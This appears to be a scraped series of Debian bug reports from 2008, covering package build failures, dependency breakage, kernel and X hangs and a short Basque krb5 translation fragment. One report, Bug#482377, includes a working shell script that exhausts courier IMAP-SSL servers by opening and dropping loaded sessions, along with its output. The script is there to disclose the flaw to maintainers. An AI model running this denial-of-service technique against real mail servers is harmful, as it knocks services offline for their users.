/usr/share/doc/krb5-kdc/README.KDC fitxategia eta krb5- doc paketean aurki daitekeen administrazio gidaliburua. #. Type: boolean #. Description #: ../krb5-admin-server.templates:3001 msgid Run the Kerberos V5 administration daemon (kadmind)? msgstr Kerberos 5 administrazio deabrua (kadmind) abiarazi? #. Type: boolean #. Description #: ../krb5-admin-server.templates:3001 msgid Kadmind serves requests to add/modify/remove principals in the Kerberos database. msgstr Kadmind-ek Kerberos datu-baseko gehitze/eraldatze/ezabatze eskaera nagusiak zerbitzatzen ditu. #. Type: boolean #. Description #: ../krb5-admin-server.templates:3001 msgid It is required by the kpasswd program, used to change passwords. With standard setups, this daemon should run on the master KDC. msgstr Hau pasahitzak aldatzeko erabiltzen den kpasswd programaren eskakizun bat da. Konfigurazio estandarrarekin, deabru hau KDC nagusian abiarazi behar da. #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid Create the Kerberos KDC configuration automatically? msgstr Kerberos KDC konfigurazioa automatikoki sortu? #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid The Kerberos Domain Controller (KDC) configuration files, in /etc/krb5kdc, may be created automatically. msgstr Kerberos Domeinu Kontrolatzaile (KDC) konfigurazio fitxategiak, automatikoki sortuko dira /etc/krb5kdc direktorioan. #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid By default, an example template will be copied into this directory with local parameters filled in. msgstr Lehenespen bezala, parametro lokalak beterik dituen adibide txantiloi bat kopiatuko da direktorio horretan. #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid Administrators who already have infrastructure to manage their Kerberos configuration may wish to disable these automatic configuration changes. msgstr Kerberos konfigurazioa kudeatzeko azpiegitura duten kudeatzaileek konfigurazio aldaketa automatiko hauek ezgaitu nahi ditzakete. #. Type: select #. Description #: ../krb5-kdc.templates:3001 msgid Kerberos V4 compatibility mode to use: msgstr Erabiliko den Kerberos 4 bateragarritasun modua: #. Type: select #. Description #. nopreauth is a literal string and should be left in English #: ../krb5-kdc.templates:3001 msgid By default, Kerberos V4 requests are allowed from principals that do not require preauthentication (\nopreauth\). This allows Kerberos V4 services to exist while requiring most users to use Kerberos V5 clients to get their initial tickets. These tickets can then be converted to Kerberos V4 tickets. msgstr Lehenespen bezala, Kerberos 4 eskaerak onartzen dira aurreautentifikazioa (\nopreauth\) eskatzen ez duten nagusietatik onartzen dira. Honek Kerberos 4 zerbitzuak egoteko aukera ematen du erabiltzaile gehienei Kerberos 5 bezeroak eskatzen zaienean
Bug#481575: courier: FTBFS in pbuilder
Christian Perrier wrote: Package: courier Severity: serious When building your package in pbuilder (targeting an l10n upload that *really* should happen): make[3]: Leaving directory /tmp/buildd/courier-0.59.0/gpglib' make[2]: Leaving directory /tmp/buildd/courier-0.59.0/gpglib' Making all in pcp make[2]: Entering directory /tmp/buildd/courier-0.59.0/pcp' cd . /bin/sh /tmp/buildd/courier-0.59.0/missing --run aclocal-1.10 -I m4 aclocal-1.10: couldn't open directory m4': No such file or directory make[2]: *** [aclocal.m4] Error 1 make[2]: Leaving directory /tmp/buildd/courier-0.59.0/pcp' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory /tmp/buildd/courier-0.59.0' make: *** [build] Error 2 dpkg-buildpackage: failure: debian/rules build gave error exit status 2 pbuilder: Failed autobuilding of package I: installing necessary tools to work in the damn chroot dpkg - warning: ignoring request to remove nvi which isn't installed. I unfortunately have no clue about autostuffotherwise, I would immediately NMU to fix this... Works without a hitch. I'll upload your changes today if you can send me a patch for the NMU. Regards Racke -- LinuXia Systems = http://www.linuxia.de/ Expert Interchange Consulting and System Administration ICDEVGROUP = http://www.icdevgroup.org/ Interchange Development Team -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482379: stunnel4 keeps terminal if it was starded via ssh
Package: stunnel4 Version: 3:4.22-1 It's impossible to correct logout via ssh if stunnel4 was started in daemon mod sample config: debug = 7 client = yes #foreground = yes sslVersion = SSLv3 pid = verify = 0 [eq] accept = localhost:4443 connect = somehost:443 % ssh localhost % stunnel ./stun.conf % Ctrl-D P.S. original version from stunnel.org works fine. -- sergio -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482375: On some systems sendmailconfig doesn't recognise local host name
Package: sendmail Version: 8.13.8 Severity: normal I have sendmail installed on several servers of different customers. When I run sendmailconfig on _some_ servers I get message: WARNING: local host name (;; connection timed out; no servers could be reached) is not qualified; see cf/README: WHO AM I? As we can see there in brackets is an error message instead of true local host name. This message is returned from dns lookup procedure. But dns lookup has no problem (responses are pretty fast): hostname -f server.example.com host server.example.com server.example.com has address 10.22.19.126 host 10.22.19.126 126.19.22.10.in-addr.arpa domain name pointer server.example.com host -t mx example.com example.com mail is handled by 10 server.example.com. cat /etc/mailname server.example.com That error message appears on some lines in sendmail.cf too: Dj;; connection timed out; no servers could be reached Cw;; connection timed out; no servers could be reached CG;; connection timed out; no servers could be reached Which results in situation when other mail servers refuses e-mail from this server for that nonsense name. I must repair it myself by hands, but Debian has helpful feature - after reboot is sendmail.cf autogenerated again with those error messages inside. I repeat: This problem occurs on some systems only. I can't find rule causing this abnormality. Thank you Viktor Matys -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-686 Locale: LANG=cs_CZ.UTF-8, LC_CTYPE=cs_CZ.UTF-8 (charmap=UTF-8) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#472339: please do...
Hello Patrick,
On Sun, May 18, 2008 at 11:10:06PM +0200, Patrick Winnertz wrote:
If you could write a patch against the mc package which will hit unstable
tomorrow ;-) this would be very kind. Then I'll consider to include it
into mc.
How does this look like?
With kind regards,
--
Baurzhan Ismagulov
http://www.kz-easy.com/
diff -Naurp -X /home/ibr/w/root/prg/dontdiff.ibr mc-4.6.2~git20080311.orig/debian/control mc-4.6.2~git20080311/debian/control
--- mc-4.6.2~git20080311.orig/debian/control 2008-05-21 22:34:31.0 +0200
+++ mc-4.6.2~git20080311/debian/control 2008-05-22 12:12:22.0 +0200
@@ -3,7 +3,7 @@ Section: utils
Priority: optional
Maintainer: Debian MC Packaging Group [EMAIL PROTECTED]
Uploaders: Patrick Winnertz [EMAIL PROTECTED]
-Build-Depends: debhelper ( 5), libglib2.0-dev, libgpmg1-dev |not+linux-gnu, gettext, libslang2-dev, quilt, cvs, automake
+Build-Depends: debhelper ( 5), libglib2.0-dev, libgpmg1-dev |not+linux-gnu, gettext, libslang2-dev, quilt, cvs, automake, binutils
Standards-Version: 3.7.3
Homepage: http://www.ibiblio.org/mc/
@@ -18,3 +18,11 @@ Description: midnight commander - a powe
viewer with support for binary files. Also included is Virtual
Filesystem (VFS), that allows files on remote systems (e.g. FTP, SSH,
SMB servers) and files inside archives to be manipulated like real files.
+
+Package: mc-dbg
+Architecture: any
+Depends: mc (= ${binary:Version})
+Suggests: gdb
+Description: midnight commander - debug info
+ GNU Midnight Commander is a text-mode full-screen file manager. This
+ package contains debugging information for mc.
diff -Naurp -X /home/ibr/w/root/prg/dontdiff.ibr mc-4.6.2~git20080311.orig/debian/rocks mc-4.6.2~git20080311/debian/rocks
--- mc-4.6.2~git20080311.orig/debian/rocks 2008-05-21 22:34:31.0 +0200
+++ mc-4.6.2~git20080311/debian/rocks 2008-05-22 11:44:57.0 +0200
@@ -1,5 +1,7 @@
# custom tweaks to cbs' debian/rules
+DEB_DESTDIR := `pwd`/debian/mc
+
DEB_CONFIGURE_EXTRA_FLAGS := --with-glib2 --without-ext2undel \
--enable-charset --with-samba --with-screen=slang
@@ -49,6 +51,9 @@ deb-binary-hook-mc:
iconv -f koi8-u -t UTF-8 mc.hint.uk tmp mv tmp mc.hint.uk \
iconv -f big5 -t UTF-8 mc.hint.zh tmp mv tmp mc.hint.zh
+deb-strip-mc:
+ dh_strip -pmc --dbg-package=mc-dbg
+
deb-extra-pre-common-build::
cd po \
for i in `ls | grep '\.po$$'`; do \
Bug#482382: linux-image-2.6.24-etchnhalf.1-686: System locks up if I copy data to my USB2-HDD
Package: linux-2.6 Version: 2.6.24-6~etchnhalf.2 Severity: important *** Please type your report below this line *** If I copy massive data to my USB2-HDD the System completely hangs after a while. This does not occur with 2.6.18 Kernel. [EMAIL PROTECTED]:~$ lspci 00:00.0 Host bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 03) 00:01.0 PCI bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 03) 00:04.0 ISA bridge: Intel Corporation 82371AB/EB/MB PIIX4 ISA (rev 02) 00:04.1 IDE interface: Intel Corporation 82371AB/EB/MB PIIX4 IDE (rev 01) 00:04.2 USB Controller: Intel Corporation 82371AB/EB/MB PIIX4 USB (rev 01) 00:04.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 02) 00:09.0 USB Controller: NEC Corporation USB (rev 43) 00:09.1 USB Controller: NEC Corporation USB (rev 43) 00:09.2 USB Controller: NEC Corporation USB 2.0 (rev 04) 00:0a.0 Multimedia audio controller: Creative Labs SB Live! EMU10k1 (rev 07) 00:0a.1 Input device controller: Creative Labs SB Live! Game Port (rev 07) 00:0b.0 Mass storage controller: Promise Technology, Inc. 20269 (rev 02) 00:0c.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 08) 00:0d.0 Multimedia controller: Philips Semiconductors SAA7146 (rev 01) 01:00.0 VGA compatible controller: Matrox Graphics, Inc. MGA G550 AGP (rev 01) [EMAIL PROTECTED]:~$ cat /proc/interrupts CPU0 0: 24561773XT-PIC-XTtimer 1: 1XT-PIC-XTi8042 2: 0XT-PIC-XTcascade 3: 1XT-PIC-XT 4:139XT-PIC-XTserial 5: 80957XT-PIC-XTEMU10K1 6: 5XT-PIC-XTfloppy 7: 1XT-PIC-XTparport0 8: 1XT-PIC-XTrtc 9: 350314XT-PIC-XTacpi, uhci_hcd:usb2, ohci_hcd:usb3, saa7146 (0) 10: 55520XT-PIC-XTehci_hcd:usb1, ide2 11: 297476XT-PIC-XTohci_hcd:usb4, eth0, [EMAIL PROTECTED]::01:00.0 14: 31023XT-PIC-XTide0 15: 31041XT-PIC-XTide1 NMI: 0 Non-maskable interrupts LOC: 0 Local timer interrupts RES: 0 Rescheduling interrupts CAL: 0 function call interrupts TLB: 0 TLB shootdowns TRM: 0 Thermal event interrupts SPU: 0 Spurious interrupts ERR: 0 MIS: 0 [EMAIL PROTECTED]:~$ lsmod Module Size Used by mga57728 2 drm72280 3 mga tun10976 0 ppdev 8676 0 lp 11012 0 ac 4448 0 battery 8448 0 ipv6 241956 14 nls_utf82080 1 nls_cp437 5792 1 vfat 12160 1 fat46880 1 vfat nls_base7268 4 nls_utf8,nls_cp437,vfat,fat dm_snapshot17444 0 dm_mirror 25316 0 dm_mod 55656 2 dm_snapshot,dm_mirror loop 16708 0 snd_emu10k1_synth 6816 0 snd_emux_synth 30560 1 snd_emu10k1_synth snd_seq_virmidi 6720 1 snd_emux_synth snd_seq_midi_emul 5856 1 snd_emux_synth snd_emu10k1 122688 5 snd_emu10k1_synth snd_seq_dummy 3780 0 tda100235860 1 snd_seq_oss28544 0 snd_seq_midi8064 0 snd_seq_midi_event 6976 3 snd_seq_virmidi,snd_seq_oss,snd_seq_midi snd_seq45872 9 snd_emux_synth,snd_seq_virmidi,snd_seq_midi_emul,snd_seq_dummy,snd_seq_oss,snd_seq_midi,snd_seq_midi_event snd_rawmidi22528 3 snd_seq_virmidi,snd_emu10k1,snd_seq_midi parport_pc 25860 1 snd_ac97_codec 91300 1 snd_emu10k1 parport33868 3 ppdev,lp,parport_pc ac97_bus1952 1 snd_ac97_codec snd_pcm_oss37824 0 snd_mixer_oss 14880 1 snd_pcm_oss budget_av 18880 4 snd_pcm68228 4 snd_emu10k1,snd_ac97_codec,snd_pcm_oss saa7146_vv 42944 1 budget_av videobuf_dma_sg13028 1 saa7146_vv videobuf_core 17092 2 saa7146_vv,videobuf_dma_sg videodev 30112 1 saa7146_vv v4l1_compat12484 2 saa7146_vv,videodev snd_seq_device 7564 8 snd_emu10k1_synth,snd_emux_synth,snd_emu10k1,snd_seq_dummy,snd_seq_oss,snd_seq_midi,snd_seq,snd_rawmidi snd_timer 21320 3 snd_emu10k1,snd_seq,snd_pcm snd_page_alloc 9992 2 snd_emu10k1,snd_pcm snd_util_mem4544 2 snd_emux_synth,snd_emu10k1 snd_hwdep 8708 2 snd_emux_synth,snd_emu10k1 floppy 53284 0 usblp 13664 0 firmware_class 9088 2 snd_emu10k1,budget_av budget_core10756 1 budget_av dvb_core 71744 2 budget_av,budget_core pcspkr 3136 0 saa714618152 3 budget_av,saa7146_vv,budget_core rtc
Bug#482377: passing MAXDAEMONS MAXPERIP, DoS insecurity.
Package: courier-ssl
Version: 0.53.3-5
Severity: important
1) connect to server over imap-ssl
2) login
3) start search or other hard work task with delayed response
4) drop connection...
5) repeat from 1
After each breakage of connection starttls comes to the end and
cause SIGCHLD. couriertcpd, parent for starttls, clear info about
connection. Lost imapd continues to load system...
Demo, start from server with imapd-ssl, create user user with password
pass (or edit script), To place in INBOX (and edit script for
IMAPSPOOL=...) letters in volume 100Mb or it is more.
#!/bin/sh
IMAPHOST=localhost
IMAPUSER=user
IMAPPASS=pass
IMAPSPOOL=/var/mail/user/
ps o ppid,pid,cmd `fuser $IMAPSPOOL 2/dev/null` foo.last
for i in `seq 30`; do
run=$[`cat foo.last | wc -l`-1]
tls=$[$run-`grep '^ *1 ' foo.last | wc -l`]
la=`cat /proc/loadavg |sed 's/ .*//'`
echo start imap $i (running: $run withTLS: $tls LA: $la)
(
echo 1 capability
sleep 0.2
echo 2 authenticate plain
sleep 0.2
echo -en \0$IMAPUSER\0$IMAPPASS | perl -MMIME::Base64 -wne 'print
encode_base64($_)'
sleep 0.5
echo '3 select INBOX'
sleep 2
echo '4 uid SEARCH UNDELETED BODY abacabadabacaba'
sleep 2
) | openssl s_client -connect $IMAPHOST:993 2/dev/null |sed -n '/^\*/,$ p'
imap-log-$i
sleep 1
ps o ppid,pid,cmd `fuser $IMAPSPOOL 2/dev/null` foo.cur
#diff foo.last foo.cur
mv foo.cur foo.last
done
echo wait for child
sleep 3
kpids=`fuser $IMAPSPOOL 2/dev/null`
ps o stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,cmd $kpids | sed [EMAIL
PROTECTED]@\$IMAPSPOOL@
# garbage collection
kill `ps o ppid,pid,comm $kpids |grep ^ *1 .*imap | awk '{printf %s ,$2;}'`
===
In result:
# grep ^MAX /etc/courier/imapd /etc/courier/imapd-ssl
/etc/courier/imapd:MAXDAEMONS=220
/etc/courier/imapd:MAXPERIP=6
# ./DoSDemo
start imap 1 (running: 2 withTLS: 1 LA: 9.18)
start imap 2 (running: 3 withTLS: 2 LA: 9.18)
start imap 3 (running: 4 withTLS: 3 LA: 9.18)
start imap 4 (running: 5 withTLS: 4 LA: 9.48)
start imap 5 (running: 6 withTLS: 4 LA: 9.48)
start imap 6 (running: 7 withTLS: 3 LA: 9.48)
start imap 7 (running: 8 withTLS: 3 LA: 9.85)
start imap 8 (running: 9 withTLS: 3 LA: 9.85)
start imap 9 (running: 10 withTLS: 4 LA: 9.85)
start imap 10 (running: 11 withTLS: 4 LA: 10.02)
start imap 11 (running: 11 withTLS: 2 LA: 10.02)
start imap 12 (running: 13 withTLS: 3 LA: 10.74)
start imap 13 (running: 14 withTLS: 4 LA: 10.74)
start imap 14 (running: 15 withTLS: 2 LA: 12.12)
start imap 15 (running: 16 withTLS: 2 LA: 12.12)
start imap 16 (running: 17 withTLS: 3 LA: 12.12)
start imap 17 (running: 18 withTLS: 3 LA: 12.91)
start imap 18 (running: 18 withTLS: 1 LA: 14.52)
start imap 19 (running: 20 withTLS: 3 LA: 14.52)
start imap 20 (running: 21 withTLS: 4 LA: 14.52)
start imap 21 (running: 22 withTLS: 2 LA: 15.52)
start imap 22 (running: 23 withTLS: 3 LA: 16.76)
start imap 23 (running: 24 withTLS: 2 LA: 18.14)
start imap 24 (running: 25 withTLS: 3 LA: 18.14)
start imap 25 (running: 26 withTLS: 4 LA: 18.14)
start imap 26 (running: 27 withTLS: 2 LA: 20.25)
start imap 27 (running: 28 withTLS: 3 LA: 20.25)
start imap 28 (running: 29 withTLS: 4 LA: 20.25)
start imap 29 (running: 30 withTLS: 2 LA: 21.75)
start imap 30 (running: 30 withTLS: 2 LA: 22.73)
wait for child
STAT EUID RUID TT TPGID SESS PGRP PPID PID %CPU CMD
S8 8 ? -1 17387 17709 17709 24133 0.0 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 23798 5.1 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24126 3.6 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24184 4.1 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24213 3.9 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24242 4.3 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24289 4.3 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24321 4.2 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24358 4.7 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24384 4.8 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24418 4.8 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24458 4.5 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24488 5.3 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24517 5.4 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24549 5.5 /usr/bin/imapd
$IMAPSPOOL
D8 8 ? -1 17387 17738 1 24595 6.2 /usr/bin/imapd
$IMAPSPOOL
D8 8 ?
Bug#482158: [sql-ledger] dependency problems in testing release
I have resolved my problem with your assistance, thank you. apache-mpm-itk was also being removed, as it depended on the current version of apache2.2-common. I have switched over to apache-mpm-prefork and all is sweet again. Thanks again JohnT On Wed, 2008-05-21 at 12:07 +0200, Raphael Hertzog wrote: On Wed, 21 May 2008, John Tait wrote: I run against the testing distribution and sql-ledger is currently installed, along with an Apache package (apache2-mpm-itk). The latest set of changes to testing have caused something to break, and you believe it to be Apache. Well, sql-ledger depends on apache | httpd. apache disappeared but any package providing httpd would satisfy the dependency, including apache2-mpm-itk. I will take a close look at the Apache packages that are being installed, upgraded, replaced in this latest release and figure out what my problem is. Can you show us the aptitude output that wants to remove sql-ledger? What gives e on the prompt? (It should explain why it wants to remove it) Cheers, -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482381: [hardinfo] sh: /bin/lspci: No such file or directory when looking Devices/PCI Devices
Package: hardinfo Version: 0.4.2.3-3 Severity: minor --- Please enter the report below this line. --- When I click on PCI Devices in the category Devices the terminal says sh: /bin/lspci: No such file or directory This happens only on time after start of hardinfo (on clicking it again, no more terminal output appears). Thank you for four fine work! Matthias Krüger --- System information. --- Architecture: amd64 Kernel: Linux 2.6.24-1-amd64 Debian Release: lenny/sid 500 testing security.debian.org 500 testing 141.76.2.4 --- Package information. --- Depends (Version) | Installed ==-+-= libatk1.0-0(= 1.20.0) | 1.22.0-1 libc6 (= 2.7-1) | 2.7-10 libcairo2 (= 1.4.0) | 1.6.4-1+b1 libgcrypt11 (= 1.4.0) | 1.4.1-1 libglib2.0-0 (= 2.12.0) | 2.16.3-2 libgnutls26 (= 2.2.0-0) | 2.2.3~rc-1 libgtk2.0-0(= 2.12.0) | 2.12.9-3 libpango1.0-0 (= 1.18.4) | 1.20.2-2 libsoup2.2-8 (= 2.2.98) | 2.2.105-4 libtasn1-3 (= 0.3.4) | 1.4-1 libxml2| 2.6.32.dfsg-2 pciutils (= 1:2.1.11-10) | 1:3.0.0-4 zlib1g | 1:1.2.3.3.dfsg-12 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482369: xserver-xorg-video-intel: X fails to start: machine hangs with black screen is unresponsive to pings
I upgraded from linux-image-2.6.24-1-amd64 2.6.24-6 - 2.6.24-7 on Wed, May 21 2008 10:52:20 +0100 (yesterday). But this does not correlate with the increased failure rate: it was running with 2.6.24-6 relatively happily for some time. I just did a test with 2.6.22-6.lenny1. X (xserver-xorg-video-intel 2:2.2.1-2) failed to start with gdm; symptoms as reported earlier --- black screen and completely unresponsive to ping :-(. I can't see any other recent updates that should have affected this. It really started failing enthusiastically on Tuesday (or at least, that's when I did a clean reinstall of xserver-xorg-*). Vaguely related things I've had since the start of the week: acpid 1.0.6-5.1 - 1.0.6-6 acpid 1.0.6-6 - 1.0.6-7 [really frequent failures start] acpid 1.0.6-7 - 1.0.6-8 gdm 2.20.5-1 - 2.20.5-2 linux-image-2.6.24-1-amd64 2.6.24-6 - 2.6.24-7 [But why acpid should cause this I don't know?] FWIW I don't have a splash screen and I'm not using the kernel frame buffer. Why is the last thing it does when it crashes to close DRM ? Hope this helps, -- pdm -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482385: xscreensaver disappears (segfaults/aborts?) when xrandr is used.
Package: xscreensaver Version: 5.05-1 Severity: grave Tags: security Justification: user security hole When xrandr is used to resize the screen on my laptop (because I use an external 16:9 lcd screen at work, and the lcd panel of the laptop else and those don't have the same resolution) xscreensaver completely disappears, I assume it dies at some point. Then if I close my LID so that the laptop is locked when I'm AFK, it doesn't lock anymore because xscreensaver simply isn't there. If xscreensaver is unable to support xrandr, it should at _LEAST_ restart on its own. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#230308: Bug#482044: Please restart spamd on perl upgrades.
On Thu, May 22, 2008 at 09:35:04AM +0200, Raphael Hertzog wrote: On Thu, 22 May 2008, Niko Tyni wrote: Although there's the glibc precedent, the perl package doesn't really want to know which packages need a restart. I wonder if the new dpkg triggers would be a good solution for this. No, the only way triggers could be used would be if spamassasin was triggered on update of /usr/bin/perl and it would have no way to know if it's a major upgrade (5.8 - 5.10) or just a minor one (5.10.0 - 5.10.1). Triggers are not meant for this kind of hand-holding jobs. I was thinking of the perl postinst activating an explicit trigger (with dpkg-trigger) on major upgrades, so spamassassin and any other daemons that need a restart could act on that. Could you please elaborate a bit on why this is broken or unnecessary hand-holding? I can see problems with partial upgrades: if perl is upgraded but spamassassin is not, the trigger would get lost when the old spamassassin version isn't interested in the trigger. Not sure if the dependencies are going to allow that in the etch-lenny context. -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482369: xserver-xorg-video-intel: X fails to start: machine hangs with black screen is unresponsive to pings
... and going to git head for xserver-xorg-video-intel seems to remove the problem, at least on one test. https://bugs.freedesktop.org/show_bug.cgi?id=15933 ? I'll let you know if it reappears. -- pdm -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#335693: (kein Betreff)
tag 335693 + wontfix thanks As there is no Upstream anymore and I will probably not have the time to add all potentially missing widgets myself I'll tag this wontfix. If anyone wants to I'll include an patch if I get one. Thanks Christoph -- GPG-Key ID: 0x0372275D /\ ASCII Ribbon \ /Campaign X against HTML / \ in eMails signature.asc Description: OpenPGP digital signature
Bug#482387: iwl3945: please include the monitor mode patch.
Package: linux-image-2.6.25-2-686 Version: 2.6.25-3 Severity: wishlist Tags: patch The iwl3945 wifi driver does only have a limited support of the Monitor mode: only beacon are captured, no data. In order to have the monitor mode work properly, a patch must be applied. I have opened a bug in the kernel bug tracker: http://bugzilla.kernel.org/show_bug.cgi?id=10593 A patch has been proposed: http://marc.info/?l=linux-wirelessm=120995431512335w=2 I have been able to apply this patch to the Debian kernel source and the resulting kernel allowed a fully founctionnal Monitor mode. Could you apply this patch to the official Debian kernel, Thanks, Antoine -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449148: More regular root hints updates
* Thijs Kinkhorst: Should this _really_ rely on the goodwill of the people who at any moment in time manages the IP address? It's very important to note here that the goodwill of people that manage the current IP addresses, connectivity or housing of any active root nameserver is equally relied upon. Indeed. As far as I know, there is no contractual framework whatsoever covering performance, security, or privacy. If this turns out to be a problem, we need to ship a signed copy of the root zone, together with an appropriate update mechanism, effectively eliminating our reliance on the root servers. We should only do this if there is indeed no other way to cope with the situation. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482380: /usr/sbin/dpkg-statoverride: --add needs four arguments
This one time, at band camp, Michael Prokop said: Package: freeradius Version: 2.0.4+dfsg-2 Severity: grave Justification: renders package unusable [...] Setting up freeradius-common (2.0.4+dfsg-2) ... Adding user freerad to group shadow Setting up freeradius (2.0.4+dfsg-2) ... /usr/sbin/dpkg-statoverride: --add needs four arguments Oh damn. Upload coming up. -- - | ,''`.Stephen Gran | | : :' :[EMAIL PROTECTED] | | `. `'Debian user, admin, and developer | |`- http://www.debian.org | - signature.asc Description: Digital signature
Bug#482372: Processed: Re: Bug#482205: brltty: FTBFS: Empty declarator
(resending to bts to have a copy there...) -- reassign 482205 brltty tags 482205 patch clone 482205 -1 reassign -1 pyrex retitle -1 pyrex: improve error messages on def foo(type): severity -1 wishlist thanks! -- Hi! The error messages of pyrex could sure be improved, but the problem here is that some function prototypes use the variable name 'type', which is a builtin class in python. The attached patch renames these 'type' variable to 'key_type' in both relevant prototypes. Cheers, piem On Wed, May 21, 2008 at 11:33:07PM +, Debian Bug Tracking System wrote: Processing commands for [EMAIL PROTECTED]: reassign 482205 python-pyrex Bug#482205: brltty: FTBFS: Empty declarator Bug reassigned from package `brltty' to `python-pyrex'. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482384: php5-cli: Not installable
Package: php5-cli Version: php5-cli [5.2.5-3 (testing)] Severity: grave Justification: renders package unusable php5-cli is not installable since its dependencies are wrong: The following packages have unmet dependencies: php5-cli: Depends: php5-common (= 5.2.0-8+etch11) but 5.2.5-3 is to be installed Jan -- System Information: Debian Release: lenny/sid APT prefers stable APT policy: (501, 'stable'), (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449148: More regular root hints updates
On Thu, May 22, 2008 12:17, Jan Ingvoldstad wrote: Since there appears to be some confusion regarding the impact of old IP address entries for root servers, this blog entry by David Conrad may be of interest, perhaps especially the comment by Bill Manning and David's response: Yes, I'm aware of that post. I think it shows no concrete security implications, even though it being bad form. Regarding the security considerations, I think it's strange that e.g. IP address redelegation hasn't been mentioned. If this issue isn't resolved as an update to the current stable distribution, people will be refering to the old IP address for years to come, and who knows what happens to old nameserver IP addresses in that time frame? It will be considered to be updated in the next stable point update (provided that the maintainer or someone else provides a fixed package and it's accepted by the stable release managers). We are not currently, however, considering to release it as a DSA. I've sought input on how other vendors regard this issue; if many other vendors will release advisories we may follow to prevent user confusion. I hope to get some input on that soon. Should this _really_ rely on the goodwill of the people who at any moment in time manages the IP address? It's very important to note here that the goodwill of people that manage the current IP addresses, connectivity or housing of any active root nameserver is equally relied upon. Thijs -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482386: debian-edu-config is uninstallable
package: debian-edu-config severity: serious version: 1.418 Hi, debian-edu-config is uninstallable in testing because it depends on svk, which is uninstallable on all archs due to #479763 (svk has broken depends) which in turn is blocked by #479698 (perl memory corruption). regards, Holger pgpPqMdVvWhm1.pgp Description: PGP signature
Bug#348082: xserver-xorg: [ati/radeon] pinkness and interference pattern on Radeon RV250 If [Radeon 9000] rev 1 and TMDS-connected Samsung SyncMaster 213T
On Thu, May 22, 2008 at 09:32:23 +0200, Michel Dänzer wrote: On Thu, 2008-05-22 at 08:31 +0200, Brice Goglin wrote: Branden Robinson wrote: 6) ...and the byteswapped cursor. Thanks, Alex! This helped a lot. Problems 1), 2), and 3) above are gone. 4) is no longer applicable; 5) and 6) remain. 5) should be fixed once you switch to Xserver 1.5 and the ati driver snapshot in experimental. I think you mean 6). And it should even be fixed in xorg-server 2:1.4.1~git20080517-1 (if I understood correctly, and the commit entitled Fix RandR 1.2 driver interface conversion of two colour cursors to ARGB is the relevant one). Cheers, Julien -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482388: grub-pc: grub-set-default has no effect, is probably obsolete
